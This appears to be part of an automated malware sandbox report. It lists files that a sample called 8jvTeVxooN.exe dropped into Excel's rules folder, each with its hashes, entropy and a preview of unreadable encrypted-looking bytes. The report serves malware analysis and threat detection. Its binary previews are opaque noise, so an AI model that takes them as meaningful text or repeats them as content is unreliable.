Preview:	<?xmll..Y.=b!...StM...f.u.R...4.]Lns..oo.n.O.6Y..F.o.;..u...jud.#.-..{S...%....D.Udo4.z........E.8.....2....4.Tq..1.a..>..[o>U..._.;46.z....+..Lf.isNe...\.`._...5.7.#.M.N...]..^12.....%/,S.h..f.n.......$/.j.l.]..xK.^...3Q.4{.....c.B`...........u..qR^.......u.dX4....M.......Y...60..Rv........"....eS!..Y.t.W.!..4Y......^...$.8U...&..&,.0..(.......V...XtdJ._Bdw.0.....O)..IG...C^_..NR3....-.<......k^"4%.....ZC.i....%-.....C......O.....B..Z...j.T..D_.G3.F....O_E.2...F.!)U+.1.....#.:..#w?.*.\...L......@...`.%...{2.q.VT.......Y......V..f.......d,^wf.bct..6.6.~._.\.^.I..4..S{.s.)342i....Q.uQ.z.....u.0\]+.Ej..S...Cy...h.....7.O......u...F i_p.bO.-.Z..J..\|!......t4......K:.=c.....0.\|.....5....n`.\|yD.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120647v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.727667082189417
Encrypted:	false
SSDEEP:	24:8o84FQcrmi1RmJF7fsAkHnWZfY6J6lGd51ObD:jlQkmi1RwbsPHWdSGdkD
MD5:	04BBBB5ACC39D559EBA3620C4CE9075C
SHA1:	F9BA759BA15B59A2EFAE4E0D07B7527F0F69C04D
SHA-256:	33E843D32E776144C9D1C82D0A5E941B001DFFADEAA9AA8EC6AA4EAF227C7FB0
SHA-512:	F7F2145525F6E34D2055A5283665EC4C836D3C9BF7C9CBFF35C8D6CC7485B03BBEEE11EDDA844CA0FBFB86FFB3CC0DE78EBF572870410301E28480BAAAF13A4D
Malicious:	false
Preview:	<?xmlxz.....v.">.R.o....k.'d%......u.]...e.wX..h.O.....N.-.m3.^.-X+.....,..\|Q.d..h.(I....b./....FQ../.....>4l!=.._x?5.1.&+S@.....<.r.n.D.....S\|@_....W.F.h.mBr.......H.V...{A..l.y...j.:v...........Z...;h.n......x..".....k<.(.&d....4e!s..`.M......._...m....P..H.Q_oB..H.S....1....cS..,i..=.fS..G.\....2.....@C.._a.$.l..).......{r..g..;I.M....4.......!.#...q....4..K.=.H...Z...5...L.b.D.....?..^.cS....3.9...H.D....l.......7....f..\.y.`...1.\|<..a..Dw...qe...Z.....,4.@F.D..y.....T....i.t.,..H:..37............AQ[.dv..0........eW...A.o......}.Sx..{.\|vA...g.Q....}...iX$'.Z{.x.e(v.....j.....o1}.7:.kI.6.....A].8tk..U...9...V..\|..7K.D..[i.U;.^..iY.....2..kh`O.).J....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120648v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	824
Entropy (8bit):	7.7428108740593204
Encrypted:	false
SSDEEP:	24:IpJUirmjN8Gq4QjeC/xQiTPQGHsTPZObD:+UOmJ8d5fxQiscsTWD
MD5:	6EC9D176E74AAE0076D9EC1366992BE9
SHA1:	AD6A3D527FF09F9C186AB12A6581E1994357B82D
SHA-256:	BEEB10F09BF988838E956BAAE443F705F0745B844F9B3AE0CCE869EB19F1C4D9
SHA-512:	A541EB5AFB3640247101EF6AC3296495CBE285430B1EC50438F49E3631615E51E40FDDA3C3476BECA18E4FCC82340661A25B7FCC20B85A7B238596588861D77D
Malicious:	false
Preview:	<?xmlu.... t....AI=.8.olb.....~.....3.-.N.Q..5.n.!5j....,..K.@..M.JS.qx;.y.h.u..M.t..U..bmo$..+......UL....V....k...y.g....k.".In..6...+....I..o.T.d..Y`U#....l.B..Q..Zo...r....bw.j.x.<.W..wJ ...b7...9...T..6.[.."F.QE.lZ8.}.{={....J!U0.....o.......t.e...@.).d<.0.F^w.x.>..a{.g...+M..:rb./%s.t..<u...."......D. ..2N.y.FKPK[...:t.Q..`..e...>...4S..R.q.#...5.............A.b..SO.^.8.V.....2'.k~.:..;.N....z!<X.,..........9...F3.!.g.jx.\i..n.>.'......'.k...O../u...\|W.#...H.D\.-...X.3.....%C...g..l...hK_L...o......Q.t..[,..C.....#..sPq4....=<.i3vG...CJt.@.E*...1}.<}.b....y+.{.z...1zM...0![..h.....6]..~.....x.9S8.F;...t,..G..!...:.c.,Q...,s.~......N...(.q.u_.mS.[..z....B.<z.....u...@,...........Eb..6G>6Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120649v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.738702185006116
Encrypted:	false
SSDEEP:	12:tquXVpKoOJ1X5VwA+dFTNaVl4Yg8s+bE6SHbXVONijhn1I0QNa3/TwuOcii9a:tqMVpzO1Ja5tNa74WRbQH5+Ahm0Qc3/G
MD5:	31496BFF3A0E6A933CCB29900A0426FF
SHA1:	342862B037208642CBAB425B35BC1712F96FB73B
SHA-256:	441C19E7B7FA292C552870488BEC840F8ACF460494A633E4FA97639E4AA271B6
SHA-512:	196F5C09972AD7FF91909DCF2C7DA98ED9A618616355479843E7C86AE29542AB2AE94B4F36DF102A68083367513BECE984EC43FC36D49EE46307FB8B34E4CD4E
Malicious:	false
Preview:	<?xml...D.=......&..^.5`sU..........[t......%....+`.A.r.a.VP..#mwg.....#..he. d4.Y...!...Q...~.!4......hG ..o.7....S&..-S..VaHbY.7...%.c....Al<...9.7.h.."..k..v"..#.H@...y.....$m.I.....z)."..p0.9...E..0G..B....<h...YA....6sC`Q.\Q{......XyfB..s..dz..N..y:...x...ST....`...P.`....O-..[:..>M.0..JG0s..U.(......r......T......UV...........B.Fi.&.E...z.....?..Z..fw..u...j..~.M<E..CI..........agw'.k.,.h..iS.W.q.......5..a...O.D....'..8.L{K.+..k.8...v<@..7.&<H.2g.(...H.Dar&.P.GDK...wSid.<.. `..yz.g.c....`8j.9..I..r.Qv.}5&..\|&...@...N..a........O^...!.).....W.Q....W..h............>bC,..6O5.+=6k....7m..X..O,.......v......P.u.,...n/A.....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120650v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.71849495392623
Encrypted:	false
SSDEEP:	24:p2ceHlGN97APzBg/Juay4KB2WLzYeEgXovzBi/kgKmObD:JN9ES/JVY2kYeEgYrUDID
MD5:	F2D1AEB9CD128A842C6BE19A01B499D2
SHA1:	027738FFD67075A47DF37A017C7D98B0077BBF3C
SHA-256:	79543E112779DE73ECEE9AA352579815BBBD7C26C1D639943EDE0B58D371FACC
SHA-512:	EBB8C780A4C16EED9C8B67716435D6FD6DE31D14EE01BC27387DCCA8A7C4FA572681B10D84B60298A00733BE66696A6628A11380212188E314BA7E9834002C59
Malicious:	false
Preview:	<?xml.Uc.o.B_..,Y.U.<s...A.....@q.('0.{,..0qj.3..&r............U......i.y\|..R<."f.pB...mew.......[.A'.z.... .K.Vq.Z..D.....^..l.J....f.G..Z5.J..2...b..u..f...X..a.L..N%t8..A.%..M....2../.f:.0.f>$.~g....T..Y......Q.^.}f..B?Tw..`.r......Y..'.ru.m..j.b..3..t..G..P.s.1.Y....c..g...@\|....nQ<.A..W.Ds.Br/...{<.Z....7..d.._.9f...e........Lf ..U.......`m>...'. MD.W.j65H.H..;.g.. 1w7(...O.h.......5..`x2v.\..k.}e.k...>e...:.V....c.j._.......YL.+.2.7>..j...$h\.:K...i..D~..P..nX.-..I....?...9..su{............<.Q.......e.......p.qTW..F...z:7.y.+...A..L:.;..\5I+...K.}.u.....].\|.7#.=+...3..:..p6.<...y..j<Qr.......L.....C..T8.........S...l...\|;.U.....'X..D.b..5&..jS.'.G...i.>...$..Nc.D`[5%.R......+R.p..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120651v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.69410853805767
Encrypted:	false
SSDEEP:	12:AF6mjt9V8dXe7PA75jlnBTBdjd4YMhnJskBTXTfAamnfj8XlpKAenezTj31BvYcw:gt/V3kNhvdmY4JRBrTofIppener/AcB2
MD5:	A95FA2A227CDF71FB1CB032131057A4B
SHA1:	707DABD41BE204F42DFAC845ABCF3D035C4249AB
SHA-256:	B6BA68BAFE8F516164614F73273A213A1D18D741F581904976D4E758099FAD77
SHA-512:	DE677AB9174907813EAD41B82827F781B2E6063010DFF90CADA984849BEF85D7D7F2FB698D6DF72290DD8306B12D83C1B857F4CE8F6EB11FB0CB0576D7EA651F
Malicious:	false
Preview:	<?xml...\| .^....b.B.tM....8..%r{.w....(.....%....l+zt........'F.....]..A{.?p.......,..B.h/\|.....Op...G.W..-.p.q....V.G..P.Z..1O. .h57.u.9^.3..(.h......]......vf..+c..U..c..eW.B._....D.[..U9.....G..p8..N............%@...SG.+r)..,..YF2.u..].."....P.@...J...\...p.7Y.G.$.1...`J.C...\|D..Q....J=u.....-].6.OC...v?...9Yv.T.Azh..u.jy....S.@.9B..f.H9.(.....TUFP_..b.Z..h.%.~k.. C.UT..\\zD.,.k....h..-s.O.-..h.yh.yt....(.oE..p..dmx."....e.#.V]j....!...}..T.<(K.I\QG7..=....b.3.....I.%8.....Fv%.....4.....t.#L.p..!..;i+.>4..!.5n.C...0.PXn.w..y.....p0n.c(U..g.G.... ....\|;QR..^...\.N.}..t..\..#.[?ExF...c.V%..6....l.p..]:..r7........{..At....N.sZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120652v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.786343017826016
Encrypted:	false
SSDEEP:	12:SZhlcJ0xfBrXcdVKwqFCa4uxKDkLAM16/sXLsYFprqmC7RkMjuOcii9a:S60hhsVVa4ucDkLAU6UXLsSu37RkpObD
MD5:	53AFDC90550D7A8EFCB30CCC884C1E73
SHA1:	0395504881CC3683A3BC558102E2B3AF2B7672AC
SHA-256:	BE4A76E5D4CE72E6637924815CD70A21798353E95653159FEA008E1EC04BFE4E
SHA-512:	B6E75DE241ABFB64586A09FD5D789AECBBFC8F5B690486E1675E0AFF35F5FC1FE31B1703548359222CBA92C94232F578D436F0E22A74ADFBCB0ACEE4099FB381
Malicious:	false
Preview:	<?xmloWL0.........Li.r.u..y....._;.(.[a#WVD\|.:.f.IaXc.M.]5...p..h.t..4....-...5..7z.~..g.i. }.....0g.<%.a....bI..=.F,.~T.8u.b.h....4..f../.L.......kB..t.s?.I..~5.o....o\I......:A........N....(...p.......>../fx.w.uo$.$. r..B..6.AG.S.;.U.........-.1......F..m;.8..+;..k.Y..o ..;.d'.[..n+....cP.0.WC....y..E...'..:..6.).....e...n........U<P.S.8U.2..Zx..a...a%.......Hr.,......Lq..._..Kt`..i...m.ltR....)&=.-I._.r..~..{..H.}D......A..=.>..Xq(..+]..jM.......96.....`.i...yQ......8......Os.....wA.../.....P.............)\..:.$!....+P.Qx.,_b.j.kH..Y0Ir...p..0?#W!..,..(....mp:.R....3#z..(..y.Q.u....C...c.....@...KZ.l.....B...%.wsk..g.C........6:.o..\..?."aU...a.z...#TX.....!.'....$ij.....{=..q.4.X.V5D.iZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120653v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.726529084876347
Encrypted:	false
SSDEEP:	12:OlJJNzta4MebWEdVLH2mdYJLas5VM23YPr+0as12s2jSENUjgfTh3R7uOcii9a:eJvzhCEdVLWPFjd3rUIs2jSC3RqObD
MD5:	F3AE4C1D3DC7B076ABD2A9A43ADF1377
SHA1:	61305FD4698F2CF484D2088F008AE54EB9840296
SHA-256:	FC32CF15ABE53297F55B25A2B657956DF49F1D9F4E92388C9CFB3D5342ED34C2
SHA-512:	887034770600D000F38FBFB0143CAE8F71C01D730552E42AE2747A17783C0126AE43281BE83948CEA2FB201084E7DCDD6808DEACCB4B2E381F86A2BB93DB2A4B
Malicious:	false
Preview:	<?xml~.{.VD.Mq..P,....._...7.;.p;/m...-...c..99.%.....2.#%.J.K..d.U....\|1....O.:..e.S.26.{i...%.....u.z....H.P.............x"L.oA...~.Fx.l[.\|.e;..;>.....w{.n...'...>.Q..k..&I:..2P.....V....~.jS.m..]jI/.........{...6>..&.I.\gp.;6..;.7...9+?..1f.&bx....ZV.....A.OI:.a...GV......W.....y...Pa..I.......-...U7'.. a...Jo..A...1.....?.w.C.+..8..`\..[.D...!..Z^.L..u.l\|B#.y..u...../....}{z..R....P.}.9..qQX.Y..C....k...q.u&.7....Eo...Je1...P~e......CkZ'.....s.G... .CO.!..X...2&.I,.j..o.cY1.(..6T\.J._."5N.ug.;...+o.._._...W......~.hS.ibP........r..?.6.P>J.x-n'..V{....MC.....D..0......m;......Q.1.!.......................Y0Z. ....C}..{......d[Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120654v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.745296319857272
Encrypted:	false
SSDEEP:	24:DTFcd1bAGG6GoOe+o6ag53SDFLT2235/BvHMZOcObD:3Fc3/G6Gte+obG3S9SwD
MD5:	E7B5516E2DD25A08273B8D7628AC270B
SHA1:	A8E7080B6151CC50A24FBF374FFB17AFEA364156
SHA-256:	16AB206A4A0EF7F776D01F66763D76CFEAA32BE72A6036701A78361681B1474C
SHA-512:	04D2923DDB19226A3E69838E766DDB994C7EAD348B6922545FD60B2C7DFA604D34C31D29A9D23D8ED7DFD0BAC95F75D31F9B14B16A8E034EDEBFFFF7E37B24B8
Malicious:	false
Preview:	<?xml..~;.sP..h...{.:..T8{4..^.3.....b..A..GE.6....p.\...e{9ym....R43.$r_......8u./..1$.hMm......7....i..s5...Z0.gR.%N@...S.N...8P.Q...A...8S...$...E[G.;..l.......O.U}U...3u.?.L.-+..2.k.n..C.....G..\|....u.l.a..kX0.."....X?}f..?^..Fc..uJ..>.m.]A...]..D$..C.4...6..z..G...7....*p.':8n.....q. ......c....d.{..T._...d..+.7.!N.k1.V...J..p..s..[..wW....c\|..n,s&A......Y.x....P....Z<.....1..gd+.........m.<.r..k.6.b(.J...BrL...>.+.......5E....;9....$...=U6."..6D;.V1,a..1...'..Rv.#...............t,.mD....)........V....'2.\....9..1......n....:....b.^.q.d6R..D..X..d..2... .='...a58..OZtfz.{...Q.%4..(.H...v..{..M9..\|.......R.,.E.}.../.....@.L..G..c.gv..#.../.&..<q'..I>......7.5.p.....l.6]..r..[..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120655v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.761804966382425
Encrypted:	false
SSDEEP:	12:rAx+MpHIF6cdHEMFZmELIqwHfwACMbOHwuIepf7xygRE/N+5uOcii9a:rRMpHIF6cdN4ajwHdCMbOHw+xoy8gYOX
MD5:	5A469F2BD192F61C0959E6AAA5B44B43
SHA1:	2C66C189C6385C649A05ABA8FF98E2EE14188878
SHA-256:	354800DF772FF94E410C190C896695E77208BB2CB2992E591C45FE877F601611
SHA-512:	F53E4D8CEA6B93BF3367FE58179F7DBC97D95AE7AB90CCC05FF89C215386E4D04EEE030F45E7614F818C12B9DAB68FE7E680DEB850403755D132E803F4F93D54
Malicious:	false
Preview:	<?xml..g3$...t....`&..l'.G1...B....m.N. ...[...^.Cg...T..0_. .i..b.c.p....)..D.{......2.`t.......qs.?Va.K.d4....7T%....Z..%<......Q.Q....\|4.....P.t...IPq.E.....:D.xY5.j5....{.hC.z....,L...lY$>.w...).....<D..E.AM.F...Z......c..t......G...........P.:..heZ.[..6......}.@!j..Z.+.z;6.Gr....B$.i...6.../.NN...f....&.d...J..,g=1.F.K..eT`.s....@..{.!...Wa..%.C.. ..(M....l.g.j)...bC...D.Y..........-.V.f.&c............9.-'Fr)..A...[@.tx.q..er...k.Y......}_.[.;_q.<...=.9..V..._.....}\..O.e.......9.<...Y.]>o2....[...(...o(..Sc:..-+......#.]..Ux4....x....xw...\|$"...TJ..#d..4.y..}...p42.0u...=dF.U..Y...Mg"Ty..W._....../....5[./T.c..J(gkG..#.E\H.J...Gl8...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120656v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.729292615248038
Encrypted:	false
SSDEEP:	12:jEGl3cZoHNFTXcm8FxE/cRIjgNjNf68yseB0n/tqCWKqQ7H7lZ/ZNnjGHuOcii9a:gktFz0S2AgPf6weO/+tQ75hqOObD
MD5:	6CD6F9E815C259A62A826136655C3354
SHA1:	AEB4182D22CD9ED677A00E9AA668DF9FAA390BE5
SHA-256:	FB89B95CF7FE07A106CC137A28ABD359CCA123A5CC7313A81F7D4DF1D0B20A5B
SHA-512:	37C8C699BA58C6EDB3BD9826A2CE7C6A3437AB65A456992BFF912D5D3E1CF83297BB75269BB05617BAC0A6B17A7EE4857B4D032CFBD2951D576A6E8AE9C42701
Malicious:	false
Preview:	<?xml&.gM...0.=R?....sQN.)..v.=73..C.'..}....9.%J....O1..o.AS...O....L..\.7d..^ege..g.\|a..E......c.....jd).}.J..J...(...M...;u.,.a..i..2O......D..l..)....s&..k/.fY..@r..MA...e...?HW...f.?...1<E.....G.x.)@.+A=...79......[J..}..^K......E......Vw\./.S.7.DA"....32D..F..p..\|....^..Y)..M.......3t.{Y..L....V@/.;..._VK..C.........h..T.2.#.?.....-.\|.)....T...&< 2<H...... ,..I..l.R.H.\|...#.t/...=5.Cz++.y.\0.O..!...B~.q..O..v.....aKDf[...Y9.l.......K.G....$Eu.0....n.eQX.DZuKe......mwfk;..;nCf.=....n.....Y\1.Lo..xN(=......\WqkN!..!B.p..?L....qt..%.....3#..........P..Ld3k.O<t.3.L7B .w.+O....T..U.`.E'..........}..lPr..C. .=$;q<.24.t......._....T........^rQ.C.....D....".&.}..m.H.m....._.u.l..,.{.3gM.2.NQZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120657v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.717889206636119
Encrypted:	false
SSDEEP:	12:amSQv/uW/hcwy0+6/f0gpbLzvwM1gmG0YCcKY+2FIk+ROojmY80Bfm2h9FpaEYjM:HxGWQ6n0IbXwMeMYTe8ZY80gWTIj7ObD
MD5:	B84C3AA701CB1B5CE996C002A2496F4F
SHA1:	1AE118D9A8C6EF03C4473FB0DB6351EEF029AC6F
SHA-256:	DF943CCD379979376FF231FEF4DA152153B83BAAC8CB8CEC08FB7BB5AA55EDD5
SHA-512:	BDEA5DFB1D4FD353A9F1A497D20E5A8A5340AABB751ACE502F09977DB85F8740539D8CDA4C6464BDA129BDCF07D3224928893923F03F55BF43ACA26E23742092
Malicious:	false
Preview:	<?xml.....Bj&.....Q.....3....%v......K.b^.......3...........p..,e'z..A_.....o $.I.nc..&c....?.....=&)6nRu....S$2..#Z.A.....).L2t...l.I.q...em......A.}..N.e.o].`.&....mz^.....x@=..T.MB..F>.......I.....V.W..B:...r...:Y9...(&`.....]....]..rO.sQ.`ye;]....0.F..V..b...gqV......\|J[e..sK.:...o..P.UY.i.....k._...6.2..R..\.m.v...@..".V.../gl.9.......%"...V..h.....7....L.......b....A....E.%v.Y?..BT.W53...d../.@y...d.....-<....+0..7{1.c=.x.\|...G..R...sf........!.$..vN...r..f.......)....#...`..6b5.1\Y.A...)...DyA.TZP..#..Q~.B6..7..I...+.......O`.............U..y...# ...\|..........>6..@..Mr....[Nk....Z....^v.t.....]xo#.MrJ......:n.84..b.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120658v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.7430789999637755
Encrypted:	false
SSDEEP:	24:bZKzbczSlxES4IoQfyPbl9fhDEwh31YhMtMjObD:tWbczIxESZo9Dl9SUirYD
MD5:	4B138B9A9EB98079BFE4B57D16FB18C4
SHA1:	7EF3AD84C4DBD1C1A89C730BB77092083B3B9DF7
SHA-256:	B291E07C5A3C76B66A5AFA18B4CE7393213F21B4750F44CD78A121CD72B764D3
SHA-512:	12D47165A7C6DE7971C39C6BD6383D1DB98A3D56A6565F0630B5F84F147EB16F1190E16C004A32B2DD67830FE3AD12096B5078E17B2F6F52DB13181B8F111F78
Malicious:	false
Preview:	<?xmlP.V.kM.]g...F^.V.w=.......q.VJ.).$.v.......X...39..R>.^....@.d>.....m..h...0...v....n..Vt..P..y;)...~[...........Y.a..{H.g...=.5...f....p.........B..7..y..{+n.{5.?z#..........z......8(B..s..Pu.{..j..Gv'.pG.u>..B.j.e..J7B.KW..x..n.X.h.Y.>>A.6\.]...,..!."..x.]..S6....M........a6.u.......R.Vz.@.......;..lU.;..H<..........Y.. q.h.'....X......^....f&n..Wn.u.....@.@.k.,n......i.~&T..s.....U^b...._.7... ...t.;Fi..X..............NV....A.x....p-G5Q-....e#...B.7;..N.Y...Y...........2.o.N+..CEQ...0..h.b4.y.Q..L....9.L#.DF.......i..-.....W......%...H..[......b...;Q.....f.>...nV...x...3S.......6....SYQ.......i..m......arU.n..f..u..F.l....UTg51.H(..i..\sP....n(6.;..?6.. qdaZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120659v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.6798594705055505
Encrypted:	false
SSDEEP:	12:paoHhZiRG/qKBhw58eT4sL4YLbx2mCV7MTtnMyMgwiEZMggQtPtAkbBi8o2qjuOX:p3cKBWjf4Y/xLtJEZ/TqSObD
MD5:	B08CD3DA21BF8316EE9507C8C58A858F
SHA1:	9DC3C99FDCC0C3DCD9A845C54CF6985690A2241E
SHA-256:	2A53B5D2FDF392E5237E045133AD0C0328D854595F508006B64424043C306C94
SHA-512:	567C45C32432AA4090D5FB1F6727BDA32E70728A818C88F1C5D69F5763F8A0417F0BE203B8B3BA02D5B941DF64635EDA2A3549E0D2E9F9984BECA8EBE1B75BAF
Malicious:	false
Preview:	<?xml@..S...N.>)U.....[.(..3....1=%r.....^...{Sw+.....Q#\...o.x.Y."Y.(.....z.....N..yN..-.2Q.`.4...4%...w.....#.u...\......WM.X..).`.....@.....H..a.Yx...b....}.+.3....Pg..hO.o.B.#..`.^..2 ..-`.......f.._"iSm......HO.....j.#.:...9NI.^9.U5...{...W..C.`.-.....^...b....Yi?...-.R.XB\..2ww......R-Si.~6....u{a......0.?='S...y.. ..qA.`T.L..>.....k.~=Nt.h...b........A..c..WD.6.(....:.0.E....:.~`...f5<...........l..{k}s....]......:g_........pK..0..5c....q.T.T.C.zM..u....\12..".'^...{A......b..$.!..&.9...4.JVmF.D.W...MU..Fhg....V&.^l\4L...Bp.?.=.....@w\.0...#......-....22.......P.M..Q)..Q7.&...`.z+.N.6s9...\...QGW.]{..W...f.,.q.U..lML.....>.D....4..<4...7z!.+'^..4)Z.P..t.w.."l........Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120660v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.760324684285044
Encrypted:	false
SSDEEP:	12:dqE/d6L9Ab2i6o4L8n+ddtyeJr2TI2PY/poFzo9wYqzvYqgJmaft50f24G4nguOX:QiQgtbCTZr/Cm9wTvYqgJmStu/FObD
MD5:	81127E9EB87C55FA346A9E5B9FCEA080
SHA1:	BE099EC886445CEEDFD4F378EECA8E7C63019A34
SHA-256:	5AB75D92B1A1C87D5F529A2FB41A908CD1348FB2CEA8FE5DA60C41660676B815
SHA-512:	5B4A343645331E994AA3A6BB5F1103636681DDB2D91C9065243B10C9EE01766D008E54511B462C4F429467CD085148C3D971C202F4FAD4A21201D0F318878FDE
Malicious:	false
Preview:	<?xmlJAu.......... ..SfqE=J.%..?.......m....u.d.....=}.S...m.0.5..a#.....W......:...Y.'.C#i\|/Cx...~}.z-..0.f..Xg.s.u..B...J0c.9;.#.....e...fH..<....O.K...?((..~8k.d..c.7.T...^.....,....CX.f...t..!.(....d.r>...\|q.?..Bs,.k...Ax.z.>......S9o...R...g.;.+..U.(r...m>5k.5....".......r.?.m...QC>......CL5...N.y.%2y...7.y..[M.aT...a...y...T..Z.."...b?E.{..p...`.....'.@...r.A..<Q}.Lvd.4X....}.g.H+..q..ol4j../.6.j.a.sR...N.2...nv..P.B....<...s.%.`..ny".......<....!.Yh....4..=.. L.L.. ..$fi.........V..DF6.........]Qh.).x..}q+.....).........t'..g..Pq......:....IN.. 5.L.........\|.N..%..`\|@. J....7.1.....r..a4.NW......8w8.....Y..]ZL...'..8h.. n.c.H..D..%..r..H......].4Et.r"..T9;.I.i....bV.2...I.X....8s<[.MZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120661v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.689385285258407
Encrypted:	false
SSDEEP:	12:pnViN/sH/fVM0gkqxpGI1i+kwaCqytkTnMD3BTrCyjJZZF/MZHSmH1h2GOpptup2:pnU/KFJgkqxpGI1sw3q7MbxdrirYXEp2
MD5:	8091760182D748420F89C2EC822BA551
SHA1:	4ED0382EBF20447C427F601416CAE66E2FB14C71
SHA-256:	128A6D149CF8B6F9270B301F48E0CAC5A9BADA022AD45A0F0D88CBB52560C2C8
SHA-512:	F701BC9B55720720618EB0AF913A72B1323EB204D24B2025E0D837F9F9C1E373CE12AD2C04A5D53860EEDA9C7CC7F15DB9F07A95F2FD2E3480393A60813F7E27
Malicious:	false
Preview:	<?xml..R........E...1...\Y.S......G..Wl..@z.9x.....n.Y...U....-.{.H....k(...c8....i.......~..%..!...5..)8Z...R....Az...`.e.....:.?...sc9.%?.(..-.9.(..O,D.....6.h..$z=Qy...c7P?.m.....j.....?4.^...n.........)..]2.m&!<.~......p\`k.a....$?..s.xVb.y..".mr.......Q.\$(.h......!8..r.Y.......V.V.......U.F'.Ts.Bg.r.9\..0...\|.Wb.@W....O.+..m...V.....SG.Uf..`dbQ.j.....Ro..Laal..1..}.v4Zc...o..q..&...4.......s-...}3......HCt.B3....A..WbKE...?....y..D.c..5...\|..R...">....ST.>!.r..V.v^[.....Y....1o.}.Q.......Q...G.8.".m/.r..@...+k..2..P&r...m..(>..uH.X+.;(ik=.]'Nn..z....H..1..j...[..\|.+F......,u...gY....`.A'x-...T..>J....L+.F..m.]..\|.!.Z......k.u.4..@QZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

